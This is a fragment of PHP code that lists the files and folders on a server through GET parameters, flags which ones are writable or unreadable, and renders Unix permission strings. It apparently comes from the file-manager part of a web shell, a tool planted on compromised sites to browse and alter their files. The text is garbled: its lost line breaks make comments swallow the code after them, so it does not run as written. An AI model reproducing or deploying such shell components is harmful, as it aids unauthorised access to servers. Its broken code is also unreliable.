<a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a> | -- | "; if(is_writable($lokasi."/".$dir)) echo '<font color="green">'; elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">'; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>'; echo " | |
";}echo '<tr class="first"><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a> | ".$size." | ";if(is_writable("$lokasi/$file")) echo '<font color="green">';elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';echo statusnya("$lokasi/$file");if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';echo " | |
";}echo '';author();function statusnya($file){$statusnya = fileperms($file);if (($statusnya & 0xC000) == 0xC000) {// Socket$ingfo = 's';} elseif (($statusnya & 0xA000) == 0xA000) {// Symbolic Link$ingfo = 'l';} elseif (($statusnya & 0x8000) == 0x8000) {// Regular$ingfo = '-';} elseif (($statusnya & 0x6000) == 0x6000) {// Block special$ingfo = 'b';} elseif (($statusnya & 0x4000) == 0x4000) {// Directory$ingfo = 'd';} elseif (($statusnya & 0x2000) == 0x2000) {// Character special$ingfo = 'c';} elseif (($statusnya & 0x1000) == 0x1000) {// FIFO pipe$ingfo = 'p';} else {// Unknown$ingfo = 'u';}// Owner$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');$ingfo .= (($statusnya & 0x0040) ?(($statusnya & 0x0800) ? 's' : 'x' ) :(($statusnya & 0x0800) ? 'S' : '-'));// Group$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');$ingfo .= (($statusnya & 0x0008) ?(($statusnya & 0x0400) ? 's' : 'x' ) :(($statusnya & 0x0400) ? 'S' : '-'));// World$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');$ingfo .= (($statusnya & 0x0001) ?(($statusnya & 0x0200) ? 't' : 'x' ) :(($statusnya & 0x0200) ? 'T' : '-'));return $ingfo;}